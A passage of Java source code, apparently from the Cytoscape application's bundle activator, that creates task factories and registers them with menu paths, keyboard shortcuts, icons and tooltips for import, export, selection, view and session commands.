ApplyPreferredLayoutTaskFactory(undoSupportServiceRef,cyEventHelperRef,cyLayoutsServiceRef,cyPropertyServiceRef); DeleteColumnTaskFactory deleteColumnTaskFactory = new DeleteColumnTaskFactory(undoSupportServiceRef); RenameColumnTaskFactory renameColumnTaskFactory = new RenameColumnTaskFactory(undoSupportServiceRef); CopyValueToEntireColumnTaskFactory copyValueToEntireColumnTaskFactory = new CopyValueToEntireColumnTaskFactory(undoSupportServiceRef); DeleteTableTaskFactory deleteTableTaskFactory = new DeleteTableTaskFactory(cyTableManagerServiceRef); ExportVizmapTaskFactory exportVizmapTaskFactory = new ExportVizmapTaskFactory(vizmapWriterManagerServiceRef,visualMappingManagerServiceRef); SubnetworkBuilderUtil subnetworkBuilderUtil = new SubnetworkBuilderUtil(cyNetworkReaderManagerServiceRef,cyNetworkManagerServiceRef,cyNetworkViewManagerServiceRef,cyPropertyServiceRef,cyNetworkNamingServiceRef,streamUtilRef,cyEventHelperRef,cyApplicationManagerServiceRef,cyRootNetworkFactoryServiceRef,cyNetworkViewFactoryServiceRef,visualMappingManagerServiceRef,visualStyleFactoryServiceRef,cyLayoutsServiceRef,undoSupportServiceRef); ImportTaskUtil importTaskUtil = new ImportTaskUtil(cyNetworkReaderManagerServiceRef,cyNetworkManagerServiceRef,cyNetworkViewManagerServiceRef,cyPropertyServiceRef,cyNetworkNamingServiceRef,streamUtilRef,cyTableManagerServiceRef,cyDataTableReaderManagerServiceRef,cyApplicationManagerServiceRef); QuickStartTaskFactory quickStartTaskFactory = new QuickStartTaskFactory(importTaskUtil,cyNetworkManagerServiceRef,subnetworkBuilderUtil); OpenSpecifiedSessionTaskFactory openSpecifiedSessionTaskFactory = new OpenSpecifiedSessionTaskFactory(cySessionManagerServiceRef,sessionReaderManagerServiceRef,cyApplicationManagerServiceRef); LoadMitabFileTaskFactory loadMitabFileTaskFactory = new LoadMitabFileTaskFactory(cyNetworkReaderManagerServiceRef,cyNetworkManagerServiceRef,cyNetworkViewManagerServiceRef,cyPropertyServiceRef,cyNetworkNamingServiceRef); WelcomeScreenTaskFactory welcomeTaskFactory = new WelcomeScreenTaskFactory(openBrowserServiceRef, importTaskUtil,cyNetworkManagerServiceRef,subnetworkBuilderUtil, recentlyOpenedTrackerServiceRef, taskManagerServiceRef, openSpecifiedSessionTaskFactory, openSessionTaskFactory, loadMitabFileTaskFactory, cyApplicationConfigurationServiceRef, loadNetworkFileTaskFactory); BioGridPreprocessor bioGridPreprocessor = new BioGridPreprocessor(cyPropertyServiceRef,cyApplicationConfigurationServiceRef); ConnectSelectedNodesTaskFactory connectSelectedNodesTaskFactory = new ConnectSelectedNodesTaskFactory(undoSupportServiceRef,cyApplicationManagerServiceRef,cyEventHelperRef); Properties loadNetworkFileTaskFactoryProps = new Properties(); loadNetworkFileTaskFactoryProps.setProperty("preferredMenu","File.Import.Network"); loadNetworkFileTaskFactoryProps.setProperty("accelerator","cmd l"); loadNetworkFileTaskFactoryProps.setProperty("title","File..."); loadNetworkFileTaskFactoryProps.setProperty("commandNamespace","network"); loadNetworkFileTaskFactoryProps.setProperty("command","load"); loadNetworkFileTaskFactoryProps.setProperty("menuGravity","1.0"); loadNetworkFileTaskFactoryProps.setProperty("largeIconURL",getClass().getResource("/images/icons/net_file_import.png").toString()); loadNetworkFileTaskFactoryProps.setProperty("inToolBar","true"); loadNetworkFileTaskFactoryProps.setProperty("tooltip","Import Network From File"); registerService(bc,loadNetworkFileTaskFactory,TaskFactory.class, loadNetworkFileTaskFactoryProps); Properties loadNetworkURLTaskFactoryProps = new Properties(); loadNetworkURLTaskFactoryProps.setProperty("preferredMenu","File.Import.Network"); loadNetworkURLTaskFactoryProps.setProperty("accelerator","cmd shift l"); loadNetworkURLTaskFactoryProps.setProperty("menuGravity","2.0"); loadNetworkURLTaskFactoryProps.setProperty("title","URL..."); loadNetworkURLTaskFactoryProps.setProperty("largeIconURL",getClass().getResource("/images/icons/net_db_import.png").toString()); loadNetworkURLTaskFactoryProps.setProperty("inToolBar","true"); loadNetworkURLTaskFactoryProps.setProperty("tooltip","Import Network From URL"); registerService(bc,loadNetworkURLTaskFactory,TaskFactory.class, loadNetworkURLTaskFactoryProps); Properties loadVizmapFileTaskFactoryProps = new Properties(); loadVizmapFileTaskFactoryProps.setProperty("preferredMenu","File.Import"); loadVizmapFileTaskFactoryProps.setProperty("menuGravity","3.0"); loadVizmapFileTaskFactoryProps.setProperty("title","Vizmap File..."); registerService(bc,loadVizmapFileTaskFactory,TaskFactory.class, loadVizmapFileTaskFactoryProps); registerService(bc,loadVizmapFileTaskFactory,LoadVisualStyles.class, new Properties()); Properties loadAttrsFileTaskFactoryProps = new Properties(); loadAttrsFileTaskFactoryProps.setProperty("preferredMenu","File.Import.Table"); loadAttrsFileTaskFactoryProps.setProperty("menuGravity","1.1"); loadAttrsFileTaskFactoryProps.setProperty("title","File..."); loadAttrsFileTaskFactoryProps.setProperty("largeIconURL",getClass().getResource("/images/icons/table_file_import.png").toString()); loadAttrsFileTaskFactoryProps.setProperty("inToolBar","true"); loadAttrsFileTaskFactoryProps.setProperty("tooltip","Import Table From File"); registerService(bc,loadAttrsFileTaskFactory,TaskFactory.class, loadAttrsFileTaskFactoryProps); Properties loadAttrsURLTaskFactoryProps = new Properties(); loadAttrsURLTaskFactoryProps.setProperty("preferredMenu","File.Import.Table"); loadAttrsURLTaskFactoryProps.setProperty("menuGravity","1.2"); loadAttrsURLTaskFactoryProps.setProperty("title","URL..."); loadAttrsURLTaskFactoryProps.setProperty("largeIconURL",getClass().getResource("/images/icons/table_db_import.png").toString()); loadAttrsURLTaskFactoryProps.setProperty("inToolBar","true"); loadAttrsURLTaskFactoryProps.setProperty("tooltip","Import Table From Public Database"); registerService(bc,loadAttrsURLTaskFactory,TaskFactory.class, loadAttrsURLTaskFactoryProps); Properties proxySettingsTaskFactoryProps = new Properties(); proxySettingsTaskFactoryProps.setProperty("preferredMenu","Edit.Preferences"); proxySettingsTaskFactoryProps.setProperty("menuGravity","1.0"); proxySettingsTaskFactoryProps.setProperty("title","Proxy Settings..."); registerService(bc,proxySettingsTaskFactory,TaskFactory.class, proxySettingsTaskFactoryProps); Properties deleteSelectedNodesAndEdgesTaskFactoryProps = new Properties(); deleteSelectedNodesAndEdgesTaskFactoryProps.setProperty("preferredMenu","Edit"); deleteSelectedNodesAndEdgesTaskFactoryProps.setProperty("enableFor","selectedNodesOrEdges"); deleteSelectedNodesAndEdgesTaskFactoryProps.setProperty("title","Delete Selected Nodes and Edges..."); deleteSelectedNodesAndEdgesTaskFactoryProps.setProperty("command","delete selected nodes and edges"); deleteSelectedNodesAndEdgesTaskFactoryProps.setProperty("commandNamespace","network"); deleteSelectedNodesAndEdgesTaskFactoryProps.setProperty("menuGravity","5.0"); registerService(bc,deleteSelectedNodesAndEdgesTaskFactory,TaskFactory.class, deleteSelectedNodesAndEdgesTaskFactoryProps); Properties selectAllTaskFactoryProps = new Properties(); selectAllTaskFactoryProps.setProperty("preferredMenu","Select"); selectAllTaskFactoryProps.setProperty("accelerator","cmd alt a"); selectAllTaskFactoryProps.setProperty("enableFor","network"); selectAllTaskFactoryProps.setProperty("title","Select all nodes and edges"); selectAllTaskFactoryProps.setProperty("command","select all nodes"); selectAllTaskFactoryProps.setProperty("commandNamespace","network"); selectAllTaskFactoryProps.setProperty("menuGravity","5.0"); registerService(bc,selectAllTaskFactory,NetworkTaskFactory.class, selectAllTaskFactoryProps); Properties selectAllEdgesTaskFactoryProps = new Properties(); selectAllEdgesTaskFactoryProps.setProperty("preferredMenu","Select.Edges"); selectAllEdgesTaskFactoryProps.setProperty("accelerator","cmd alt a"); selectAllEdgesTaskFactoryProps.setProperty("enableFor","network"); selectAllEdgesTaskFactoryProps.setProperty("title","Select all edges"); selectAllEdgesTaskFactoryProps.setProperty("command","select all edges"); selectAllEdgesTaskFactoryProps.setProperty("commandNamespace","network"); selectAllEdgesTaskFactoryProps.setProperty("menuGravity","4.0"); registerService(bc,selectAllEdgesTaskFactory,NetworkTaskFactory.class, selectAllEdgesTaskFactoryProps); Properties selectAllNodesTaskFactoryProps = new Properties(); selectAllNodesTaskFactoryProps.setProperty("enableFor","network"); selectAllNodesTaskFactoryProps.setProperty("preferredMenu","Select.Nodes"); selectAllNodesTaskFactoryProps.setProperty("menuGravity","4.0"); selectAllNodesTaskFactoryProps.setProperty("accelerator","cmd a"); selectAllNodesTaskFactoryProps.setProperty("title","Select all nodes"); registerService(bc,selectAllNodesTaskFactory,NetworkTaskFactory.class, selectAllNodesTaskFactoryProps); Properties selectAdjacentEdgesTaskFactoryProps = new Properties(); selectAdjacentEdgesTaskFactoryProps.setProperty("enableFor","network"); selectAdjacentEdgesTaskFactoryProps.setProperty("preferredMenu","Select.Edges"); selectAdjacentEdgesTaskFactoryProps.setProperty("menuGravity","6.0"); selectAdjacentEdgesTaskFactoryProps.setProperty("accelerator","alt e"); selectAdjacentEdgesTaskFactoryProps.setProperty("title","Select adjacent edges"); registerService(bc,selectAdjacentEdgesTaskFactory,NetworkTaskFactory.class, selectAdjacentEdgesTaskFactoryProps); Properties selectConnectedNodesTaskFactoryProps = new Properties(); selectConnectedNodesTaskFactoryProps.setProperty("enableFor","network"); selectConnectedNodesTaskFactoryProps.setProperty("preferredMenu","Select.Nodes"); selectConnectedNodesTaskFactoryProps.setProperty("menuGravity","7.0"); selectConnectedNodesTaskFactoryProps.setProperty("accelerator","cmd 7"); selectConnectedNodesTaskFactoryProps.setProperty("title","Nodes connected by selected edges"); registerService(bc,selectConnectedNodesTaskFactory,NetworkTaskFactory.class, selectConnectedNodesTaskFactoryProps); Properties selectFirstNeighborsTaskFactoryProps = new Properties(); selectFirstNeighborsTaskFactoryProps.setProperty("enableFor","network"); selectFirstNeighborsTaskFactoryProps.setProperty("preferredMenu","Select.Nodes.First Neighbors of Selected Nodes"); selectFirstNeighborsTaskFactoryProps.setProperty("menuGravity","6.0"); selectFirstNeighborsTaskFactoryProps.setProperty("accelerator","cmd 6"); selectFirstNeighborsTaskFactoryProps.setProperty("title","Undirected"); selectFirstNeighborsTaskFactoryProps.setProperty("largeIconURL",getClass().getResource("/images/icons/select_firstneighbors.png").toString()); selectFirstNeighborsTaskFactoryProps.setProperty("inToolBar","true"); selectFirstNeighborsTaskFactoryProps.setProperty("tooltip","First Neighbors of Selected Nodes (Undirected)"); registerService(bc,selectFirstNeighborsTaskFactory,NetworkTaskFactory.class, selectFirstNeighborsTaskFactoryProps); Properties selectFirstNeighborsTaskFactoryInEdgeProps = new Properties(); selectFirstNeighborsTaskFactoryInEdgeProps.setProperty("enableFor","network"); selectFirstNeighborsTaskFactoryInEdgeProps.setProperty("preferredMenu","Select.Nodes.First Neighbors of Selected Nodes"); selectFirstNeighborsTaskFactoryInEdgeProps.setProperty("menuGravity","6.1"); selectFirstNeighborsTaskFactoryInEdgeProps.setProperty("title","Directed: Incoming"); selectFirstNeighborsTaskFactoryInEdgeProps.setProperty("tooltip","First Neighbors of Selected Nodes (Directed: Incoming)"); registerService(bc,selectFirstNeighborsTaskFactoryInEdge,NetworkTaskFactory.class, selectFirstNeighborsTaskFactoryInEdgeProps); Properties selectFirstNeighborsTaskFactoryOutEdgeProps = new Properties(); selectFirstNeighborsTaskFactoryOutEdgeProps.setProperty("enableFor","network"); selectFirstNeighborsTaskFactoryOutEdgeProps.setProperty("preferredMenu","Select.Nodes.First Neighbors of Selected Nodes"); selectFirstNeighborsTaskFactoryOutEdgeProps.setProperty("menuGravity","6.2"); selectFirstNeighborsTaskFactoryOutEdgeProps.setProperty("title","Directed: Outgoing"); selectFirstNeighborsTaskFactoryOutEdgeProps.setProperty("tooltip","First Neighbors of Selected Nodes (Directed: Outgoing)"); registerService(bc,selectFirstNeighborsTaskFactoryOutEdge,NetworkTaskFactory.class, selectFirstNeighborsTaskFactoryOutEdgeProps); Properties deselectAllTaskFactoryProps = new Properties(); deselectAllTaskFactoryProps.setProperty("enableFor","network"); deselectAllTaskFactoryProps.setProperty("preferredMenu","Select"); deselectAllTaskFactoryProps.setProperty("menuGravity","5.1"); deselectAllTaskFactoryProps.setProperty("accelerator","cmd shift alt a"); deselectAllTaskFactoryProps.setProperty("title","Deselect all nodes and edges"); registerService(bc,deselectAllTaskFactory,NetworkTaskFactory.class, deselectAllTaskFactoryProps); Properties deselectAllEdgesTaskFactoryProps = new Properties(); deselectAllEdgesTaskFactoryProps.setProperty("enableFor","network"); deselectAllEdgesTaskFactoryProps.setProperty("preferredMenu","Select.Edges"); deselectAllEdgesTaskFactoryProps.setProperty("menuGravity","5.0"); deselectAllEdgesTaskFactoryProps.setProperty("accelerator","alt shift a"); deselectAllEdgesTaskFactoryProps.setProperty("title","Deselect all edges"); registerService(bc,deselectAllEdgesTaskFactory,NetworkTaskFactory.class, deselectAllEdgesTaskFactoryProps); Properties deselectAllNodesTaskFactoryProps = new Properties(); deselectAllNodesTaskFactoryProps.setProperty("enableFor","network"); deselectAllNodesTaskFactoryProps.setProperty("preferredMenu","Select.Nodes"); deselectAllNodesTaskFactoryProps.setProperty("menuGravity","5.0"); deselectAllNodesTaskFactoryProps.setProperty("accelerator","cmd shift a"); deselectAllNodesTaskFactoryProps.setProperty("title","Deselect all nodes"); registerService(bc,deselectAllNodesTaskFactory,NetworkTaskFactory.class, deselectAllNodesTaskFactoryProps); Properties invertSelectedEdgesTaskFactoryProps = new Properties(); invertSelectedEdgesTaskFactoryProps.setProperty("enableFor","network"); invertSelectedEdgesTaskFactoryProps.setProperty("preferredMenu","Select.Edges"); invertSelectedEdgesTaskFactoryProps.setProperty("menuGravity","1.0"); invertSelectedEdgesTaskFactoryProps.setProperty("accelerator","alt i"); invertSelectedEdgesTaskFactoryProps.setProperty("title","Invert edge selection"); registerService(bc,invertSelectedEdgesTaskFactory,NetworkTaskFactory.class, invertSelectedEdgesTaskFactoryProps); Properties invertSelectedNodesTaskFactoryProps = new Properties(); invertSelectedNodesTaskFactoryProps.setProperty("enableFor","network"); invertSelectedNodesTaskFactoryProps.setProperty("preferredMenu","Select.Nodes"); invertSelectedNodesTaskFactoryProps.setProperty("menuGravity","1.0"); invertSelectedNodesTaskFactoryProps.setProperty("accelerator","cmd i"); invertSelectedNodesTaskFactoryProps.setProperty("title","Invert node selection"); invertSelectedNodesTaskFactoryProps.setProperty("largeIconURL",getClass().getResource("/images/icons/invert_selection.png").toString()); invertSelectedNodesTaskFactoryProps.setProperty("inToolBar","true"); invertSelectedNodesTaskFactoryProps.setProperty("tooltip","Invert Node Selection"); registerService(bc,invertSelectedNodesTaskFactory,NetworkTaskFactory.class, invertSelectedNodesTaskFactoryProps); Properties selectFromFileListTaskFactoryProps = new Properties(); selectFromFileListTaskFactoryProps.setProperty("enableFor","network"); selectFromFileListTaskFactoryProps.setProperty("preferredMenu","Select.Nodes"); selectFromFileListTaskFactoryProps.setProperty("menuGravity","8.0"); selectFromFileListTaskFactoryProps.setProperty("accelerator","cmd i"); selectFromFileListTaskFactoryProps.setProperty("title","From ID List file..."); registerService(bc,selectFromFileListTaskFactory,NetworkTaskFactory.class, selectFromFileListTaskFactoryProps); Properties selectFirstNeighborsNodeViewTaskFactoryProps = new Properties(); selectFirstNeighborsNodeViewTaskFactoryProps.setProperty("title","Select First Neighbors (Undirected)"); registerService(bc,selectFirstNeighborsNodeViewTaskFactory,NodeViewTaskFactory.class, selectFirstNeighborsNodeViewTaskFactoryProps); Properties hideSelectedTaskFactoryProps = new Properties(); hideSelectedTaskFactoryProps.setProperty("enableFor","networkAndView"); hideSelectedTaskFactoryProps.setProperty("preferredMenu","Select"); hideSelectedTaskFactoryProps.setProperty("menuGravity","3.1"); hideSelectedTaskFactoryProps.setProperty("title","Hide selected nodes and edges"); hideSelectedTaskFactoryProps.setProperty("largeIconURL",getClass().getResource("/images/icons/hide_selected.png").toString()); hideSelectedTaskFactoryProps.setProperty("inToolBar","true"); hideSelectedTaskFactoryProps.setProperty("tooltip","Hide Selected Nodes and Edges"); registerService(bc,hideSelectedTaskFactory,NetworkViewTaskFactory.class, hideSelectedTaskFactoryProps); Properties hideSelectedNodesTaskFactoryProps = new Properties(); hideSelectedNodesTaskFactoryProps.setProperty("enableFor","networkAndView"); hideSelectedNodesTaskFactoryProps.setProperty("preferredMenu","Select.Nodes"); hideSelectedNodesTaskFactoryProps.setProperty("menuGravity","2.0"); hideSelectedNodesTaskFactoryProps.setProperty("title","Hide selected nodes"); registerService(bc,hideSelectedNodesTaskFactory,NetworkViewTaskFactory.class, hideSelectedNodesTaskFactoryProps); Properties hideSelectedEdgesTaskFactoryProps = new Properties(); hideSelectedEdgesTaskFactoryProps.setProperty("enableFor","networkAndView"); hideSelectedEdgesTaskFactoryProps.setProperty("preferredMenu","Select.Edges"); hideSelectedEdgesTaskFactoryProps.setProperty("menuGravity","2.0"); hideSelectedEdgesTaskFactoryProps.setProperty("title","Hide selected edges"); registerService(bc,hideSelectedEdgesTaskFactory,NetworkViewTaskFactory.class, hideSelectedEdgesTaskFactoryProps); Properties unHideAllTaskFactoryProps = new Properties(); unHideAllTaskFactoryProps.setProperty("enableFor","networkAndView"); unHideAllTaskFactoryProps.setProperty("preferredMenu","Select"); unHideAllTaskFactoryProps.setProperty("menuGravity","3.0"); unHideAllTaskFactoryProps.setProperty("title","Show all nodes and edges"); unHideAllTaskFactoryProps.setProperty("largeIconURL",getClass().getResource("/images/icons/unhide_all.png").toString()); unHideAllTaskFactoryProps.setProperty("inToolBar","true"); unHideAllTaskFactoryProps.setProperty("tooltip","Show All Nodes and Edges"); registerService(bc,unHideAllTaskFactory,NetworkViewTaskFactory.class, unHideAllTaskFactoryProps); Properties unHideAllNodesTaskFactoryProps = new Properties(); unHideAllNodesTaskFactoryProps.setProperty("enableFor","networkAndView"); unHideAllNodesTaskFactoryProps.setProperty("preferredMenu","Select.Nodes"); unHideAllNodesTaskFactoryProps.setProperty("menuGravity","3.0"); unHideAllNodesTaskFactoryProps.setProperty("title","Show all nodes"); registerService(bc,unHideAllNodesTaskFactory,NetworkViewTaskFactory.class, unHideAllNodesTaskFactoryProps); Properties unHideAllEdgesTaskFactoryProps = new Properties(); unHideAllEdgesTaskFactoryProps.setProperty("enableFor","networkAndView"); unHideAllEdgesTaskFactoryProps.setProperty("preferredMenu","Select.Edges"); unHideAllEdgesTaskFactoryProps.setProperty("menuGravity","3.0"); unHideAllEdgesTaskFactoryProps.setProperty("title","Show all edges"); registerService(bc,unHideAllEdgesTaskFactory,NetworkViewTaskFactory.class, unHideAllEdgesTaskFactoryProps); Properties newEmptyNetworkTaskFactoryProps = new Properties(); newEmptyNetworkTaskFactoryProps.setProperty("preferredMenu","File.New.Network"); newEmptyNetworkTaskFactoryProps.setProperty("menuGravity","4.0"); newEmptyNetworkTaskFactoryProps.setProperty("title","Empty Network"); registerService(bc,newEmptyNetworkTaskFactory,TaskFactory.class, newEmptyNetworkTaskFactoryProps); registerService(bc,newEmptyNetworkTaskFactory,NewEmptyNetworkViewFactory.class, newEmptyNetworkTaskFactoryProps); Properties newNetworkSelectedNodesEdgesTaskFactoryProps = new Properties(); newNetworkSelectedNodesEdgesTaskFactoryProps.setProperty("enableFor","selectedNodesOrEdges"); newNetworkSelectedNodesEdgesTaskFactoryProps.setProperty("preferredMenu","File.New.Network"); newNetworkSelectedNodesEdgesTaskFactoryProps.setProperty("menuGravity","2.0"); newNetworkSelectedNodesEdgesTaskFactoryProps.setProperty("accelerator","cmd shift n"); newNetworkSelectedNodesEdgesTaskFactoryProps.setProperty("title","From selected nodes, selected edges"); registerService(bc,newNetworkSelectedNodesEdgesTaskFactory,NetworkTaskFactory.class, newNetworkSelectedNodesEdgesTaskFactoryProps); Properties newNetworkSelectedNodesOnlyTaskFactoryProps = new Properties(); newNetworkSelectedNodesOnlyTaskFactoryProps.setProperty("preferredMenu","File.New.Network"); newNetworkSelectedNodesOnlyTaskFactoryProps.setProperty("largeIconURL",getClass().getResource("/images/icons/new_fromselected.png").toString()); newNetworkSelectedNodesOnlyTaskFactoryProps.setProperty("accelerator","cmd n"); newNetworkSelectedNodesOnlyTaskFactoryProps.setProperty("enableFor","selectedNodesOrEdges"); newNetworkSelectedNodesOnlyTaskFactoryProps.setProperty("title","From selected nodes, all edges"); newNetworkSelectedNodesOnlyTaskFactoryProps.setProperty("toolBarGravity","9.1"); newNetworkSelectedNodesOnlyTaskFactoryProps.setProperty("inToolBar","true"); newNetworkSelectedNodesOnlyTaskFactoryProps.setProperty("menuGravity","1.0"); newNetworkSelectedNodesOnlyTaskFactoryProps.setProperty("tooltip","New Network From Selection"); registerService(bc,newNetworkSelectedNodesOnlyTaskFactory,NetworkTaskFactory.class, newNetworkSelectedNodesOnlyTaskFactoryProps); Properties cloneNetworkTaskFactoryProps = new Properties(); cloneNetworkTaskFactoryProps.setProperty("enableFor","network"); cloneNetworkTaskFactoryProps.setProperty("preferredMenu","File.New.Network"); cloneNetworkTaskFactoryProps.setProperty("menuGravity","3.0"); cloneNetworkTaskFactoryProps.setProperty("title","Clone Current Network"); registerService(bc,cloneNetworkTaskFactory,NetworkTaskFactory.class, cloneNetworkTaskFactoryProps); Properties destroyNetworkTaskFactoryProps = new Properties(); destroyNetworkTaskFactoryProps.setProperty("preferredMenu","Edit"); destroyNetworkTaskFactoryProps.setProperty("accelerator","cmd shift w"); destroyNetworkTaskFactoryProps.setProperty("enableFor","network"); destroyNetworkTaskFactoryProps.setProperty("title","Destroy Network"); destroyNetworkTaskFactoryProps.setProperty("scope","limited"); destroyNetworkTaskFactoryProps.setProperty("menuGravity","3.2"); registerService(bc,destroyNetworkTaskFactory,NetworkCollectionTaskFactory.class, destroyNetworkTaskFactoryProps); Properties destroyNetworkViewTaskFactoryProps = new Properties(); destroyNetworkViewTaskFactoryProps.setProperty("preferredMenu","Edit"); destroyNetworkViewTaskFactoryProps.setProperty("accelerator","cmd w"); destroyNetworkViewTaskFactoryProps.setProperty("enableFor","networkAndView"); destroyNetworkViewTaskFactoryProps.setProperty("title","Destroy View"); destroyNetworkViewTaskFactoryProps.setProperty("scope","limited"); destroyNetworkViewTaskFactoryProps.setProperty("menuGravity","3.1"); registerService(bc,destroyNetworkViewTaskFactory,NetworkViewCollectionTaskFactory.class, destroyNetworkViewTaskFactoryProps); Properties zoomInTaskFactoryProps = new Properties(); zoomInTaskFactoryProps.setProperty("accelerator","cmd equals"); zoomInTaskFactoryProps.setProperty("largeIconURL",getClass().getResource("/images/icons/stock_zoom-in.png").toString()); zoomInTaskFactoryProps.setProperty("enableFor","networkAndView"); zoomInTaskFactoryProps.setProperty("title","Zoom In"); zoomInTaskFactoryProps.setProperty("tooltip","Zoom In"); zoomInTaskFactoryProps.setProperty("toolBarGravity","3.1"); zoomInTaskFactoryProps.setProperty("inToolBar","true"); registerService(bc,zoomInTaskFactory,NetworkViewTaskFactory.class, zoomInTaskFactoryProps); Properties zoomOutTaskFactoryProps = new Properties(); zoomOutTaskFactoryProps.setProperty("accelerator","cmd minus"); zoomOutTaskFactoryProps.setProperty("largeIconURL",getClass().getResource("/images/icons/stock_zoom-out.png").toString()); zoomOutTaskFactoryProps.setProperty("enableFor","networkAndView"); zoomOutTaskFactoryProps.setProperty("title","Zoom Out"); zoomOutTaskFactoryProps.setProperty("tooltip","Zoom Out"); zoomOutTaskFactoryProps.setProperty("toolBarGravity","3.2"); zoomOutTaskFactoryProps.setProperty("inToolBar","true"); registerService(bc,zoomOutTaskFactory,NetworkViewTaskFactory.class, zoomOutTaskFactoryProps); Properties fitSelectedTaskFactoryProps = new Properties(); fitSelectedTaskFactoryProps.setProperty("accelerator","cmd shift f"); fitSelectedTaskFactoryProps.setProperty("largeIconURL",getClass().getResource("/images/icons/stock_zoom-object.png").toString()); fitSelectedTaskFactoryProps.setProperty("enableFor","networkAndView"); fitSelectedTaskFactoryProps.setProperty("title","Fit Selected"); fitSelectedTaskFactoryProps.setProperty("tooltip","Zoom selected region"); fitSelectedTaskFactoryProps.setProperty("toolBarGravity","3.4"); fitSelectedTaskFactoryProps.setProperty("inToolBar","true"); registerService(bc,fitSelectedTaskFactory,NetworkViewTaskFactory.class, fitSelectedTaskFactoryProps); Properties fitContentTaskFactoryProps = new Properties(); fitContentTaskFactoryProps.setProperty("accelerator","cmd f"); fitContentTaskFactoryProps.setProperty("largeIconURL",getClass().getResource("/images/icons/stock_zoom-1.png").toString()); fitContentTaskFactoryProps.setProperty("enableFor","networkAndView"); fitContentTaskFactoryProps.setProperty("title","Fit Content"); fitContentTaskFactoryProps.setProperty("tooltip","Zoom out to display all of current Network"); fitContentTaskFactoryProps.setProperty("toolBarGravity","3.3"); fitContentTaskFactoryProps.setProperty("inToolBar","true"); registerService(bc,fitContentTaskFactory,NetworkViewTaskFactory.class, fitContentTaskFactoryProps); Properties editNetworkTitleTaskFactoryProps = new Properties(); editNetworkTitleTaskFactoryProps.setProperty("enableFor","network"); editNetworkTitleTaskFactoryProps.setProperty("preferredMenu","Edit"); editNetworkTitleTaskFactoryProps.setProperty("scope","limited"); editNetworkTitleTaskFactoryProps.setProperty("menuGravity","5.5"); editNetworkTitleTaskFactoryProps.setProperty("title","Network Title..."); registerService(bc,editNetworkTitleTaskFactory,NetworkTaskFactory.class, editNetworkTitleTaskFactoryProps); Properties createNetworkViewTaskFactoryProps = new Properties(); createNetworkViewTaskFactoryProps.setProperty("enableFor","networkWithoutView"); createNetworkViewTaskFactoryProps.setProperty("preferredMenu","Edit"); createNetworkViewTaskFactoryProps.setProperty("scope","limited"); createNetworkViewTaskFactoryProps.setProperty("menuGravity","3.0"); createNetworkViewTaskFactoryProps.setProperty("title","Create View"); registerService(bc,createNetworkViewTaskFactory,NetworkTaskFactory.class, createNetworkViewTaskFactoryProps); Properties exportNetworkImageTaskFactoryProps = new Properties(); exportNetworkImageTaskFactoryProps.setProperty("preferredMenu","File.Export.Network View"); exportNetworkImageTaskFactoryProps.setProperty("largeIconURL",getClass().getResource("/images/icons/img_file_export.png").toString()); exportNetworkImageTaskFactoryProps.setProperty("enableFor","networkAndView"); exportNetworkImageTaskFactoryProps.setProperty("title","Graphics"); exportNetworkImageTaskFactoryProps.setProperty("toolBarGravity","5.0"); exportNetworkImageTaskFactoryProps.setProperty("inToolBar","true"); exportNetworkImageTaskFactoryProps.setProperty("tooltip","Export Network Image to File"); registerService(bc,exportNetworkImageTaskFactory,NetworkViewTaskFactory.class, exportNetworkImageTaskFactoryProps); Properties exportNetworkViewTaskFactoryProps = new Properties(); exportNetworkViewTaskFactoryProps.setProperty("enableFor","networkAndView"); exportNetworkViewTaskFactoryProps.setProperty("preferredMenu","File.Export.Network View"); exportNetworkViewTaskFactoryProps.setProperty("menuGravity","5.1"); exportNetworkViewTaskFactoryProps.setProperty("title","File"); exportNetworkViewTaskFactoryProps.setProperty("largeIconURL",getClass().getResource("/images/icons/net_file_export.png").toString()); exportNetworkViewTaskFactoryProps.setProperty("inToolBar","true"); exportNetworkViewTaskFactoryProps.setProperty("tooltip","Export Network to File"); registerService(bc,exportNetworkViewTaskFactory,NetworkViewTaskFactory.class, exportNetworkViewTaskFactoryProps); Properties exportNodeTableTaskFactoryProps = new Properties(); exportNodeTableTaskFactoryProps.setProperty("enableFor","networkAndView"); exportNodeTableTaskFactoryProps.setProperty("preferredMenu","File.Export.Node Attributes"); exportNodeTableTaskFactoryProps.setProperty("menuGravity","1.0"); exportNodeTableTaskFactoryProps.setProperty("title","File..."); registerService(bc,exportNodeTableTaskFactory,NetworkViewTaskFactory.class, exportNodeTableTaskFactoryProps); Properties exportEdgeTableTaskFactoryProps = new Properties(); exportEdgeTableTaskFactoryProps.setProperty("enableFor","networkAndView"); exportEdgeTableTaskFactoryProps.setProperty("preferredMenu","File.Export.Edge Attributes"); exportEdgeTableTaskFactoryProps.setProperty("menuGravity","1.1"); exportEdgeTableTaskFactoryProps.setProperty("title","File..."); registerService(bc,exportEdgeTableTaskFactory,NetworkViewTaskFactory.class, exportEdgeTableTaskFactoryProps); Properties exportCurrentTableTaskFactoryProps = new Properties(); exportCurrentTableTaskFactoryProps.setProperty("enableFor","table"); exportCurrentTableTaskFactoryProps.setProperty("preferredMenu","File.Export.Table"); exportCurrentTableTaskFactoryProps.setProperty("menuGravity","1.2"); exportCurrentTableTaskFactoryProps.setProperty("title","File..."); exportCurrentTableTaskFactoryProps.setProperty("largeIconURL",getClass().getResource("/images/icons/table_file_export.png").toString()); exportCurrentTableTaskFactoryProps.setProperty("inToolBar","true"); exportCurrentTableTaskFactoryProps.setProperty("tooltip","Export Table to File"); registerService(bc,exportCurrentTableTaskFactory,TableTaskFactory.class, exportCurrentTableTaskFactoryProps); Properties exportVizmapTaskFactoryProps = new Properties(); exportVizmapTaskFactoryProps.setProperty("enableFor","vizmap"); exportVizmapTaskFactoryProps.setProperty("preferredMenu","File.Export.Vizmap"); exportVizmapTaskFactoryProps.setProperty("menuGravity","1.1"); exportVizmapTaskFactoryProps.setProperty("title","File..."); registerService(bc,exportVizmapTaskFactory,TaskFactory.class, exportVizmapTaskFactoryProps); Properties newSessionTaskFactoryProps = new Properties(); newSessionTaskFactoryProps.setProperty("preferredMenu","File.New"); newSessionTaskFactoryProps.setProperty("menuGravity","1.1"); newSessionTaskFactoryProps.setProperty("title","Session"); registerService(bc,newSessionTaskFactory,TaskFactory.class, newSessionTaskFactoryProps); Properties openSessionTaskFactoryProps = new Properties(); openSessionTaskFactoryProps.setProperty("preferredMenu","File"); openSessionTaskFactoryProps.setProperty("accelerator","cmd o"); openSessionTaskFactoryProps.setProperty("largeIconURL",getClass().getResource("/images/icons/open_session.png").toString()); openSessionTaskFactoryProps.setProperty("title","Open"); openSessionTaskFactoryProps.setProperty("toolBarGravity","1.0"); 